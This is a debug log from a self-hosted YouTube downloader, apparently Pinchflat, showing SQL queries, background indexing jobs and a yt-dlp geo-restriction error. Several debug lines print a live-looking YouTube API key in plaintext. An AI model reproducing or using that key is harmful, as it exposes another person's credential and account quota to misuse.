"VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 17:17:26.358 [debug] QUERY OK source="media_items" db=0.7ms idle=144.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:17:26.359 [debug] QUERY OK source="tasks" db=0.1ms idle=145.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800180, 36, ~U[2026-02-10 23:17:26Z], ~U[2026-02-10 23:17:26Z]] 17:17:26.359 [info] {"args":{"id":36},"id":3800142,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":146992,"event":"job:stop","queue_time":441596,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:26.817 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/09/a3/09a3186b6d2fb8ba0126b7f28996d5944a99ea16459b43f7de6dcc09902d197b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:17:26.817 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:17:26.819 [debug] QUERY OK source="media_items" db=1.8ms idle=458.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 17:17:26.820 [debug] QUERY OK source="tasks" db=0.1ms idle=460.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800181, 6, ~U[2026-02-10 23:17:26Z], ~U[2026-02-10 23:17:26Z]] 17:17:26.820 [info] {"args":{"id":6},"id":3800141,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":8616025,"event":"job:stop","queue_time":653933,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:29.201 [info] {"source":"oban","duration":10262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:39.227 [info] {"args":{"id":23},"id":3800143,"meta":{},"system_time":1770765459226940325,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:39.227 [debug] QUERY OK source="sources" db=0.1ms idle=1348.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 17:17:39.227 [debug] QUERY OK source="settings" db=0.1ms idle=1007.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:39.228 [debug] QUERY OK source="media_profiles" db=0.8ms idle=349.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:39.228 [debug] QUERY OK source="settings" db=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:39.228 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 17:17:39.229 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:39.229 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:39.325 [debug] QUERY OK source="media_items" db=0.6ms idle=97.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 17:17:39.325 [debug] QUERY OK source="media_items" db=0.2ms idle=98.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 17:17:39.326 [debug] QUERY OK source="tasks" db=0.1ms idle=97.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800182, 23, ~U[2026-02-10 23:17:39Z], ~U[2026-02-10 23:17:39Z]] 17:17:39.327 [info] {"args":{"id":23},"id":3800143,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":99907,"event":"job:stop","queue_time":554395,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:41.228 [info] {"args":{"id":10},"id":3800144,"meta":{},"system_time":1770765461228691695,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:41.228 [info] {"args":{"id":34},"id":3800145,"meta":{},"system_time":1770765461228733674,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:41.229 [debug] QUERY OK source="sources" db=0.2ms idle=350.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 17:17:41.229 [debug] QUERY OK source="sources" db=0.2ms idle=350.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 17:17:41.229 [debug] QUERY OK source="settings" db=0.1ms idle=350.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:41.229 [debug] QUERY OK source="settings" db=0.2ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:41.229 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:41.229 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:41.229 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:41.229 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 17:17:41.229 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:41.229 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 17:17:41.230 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:41.230 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:41.230 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:41.230 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:41.346 [debug] QUERY OK source="media_items" db=0.7ms idle=116.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 17:17:41.349 [debug] QUERY OK source="media_items" db=2.2ms idle=117.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 17:17:41.350 [debug] QUERY OK source="tasks" db=0.1ms idle=120.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800183, 10, ~U[2026-02-10 23:17:41Z], ~U[2026-02-10 23:17:41Z]] 17:17:41.350 [info] 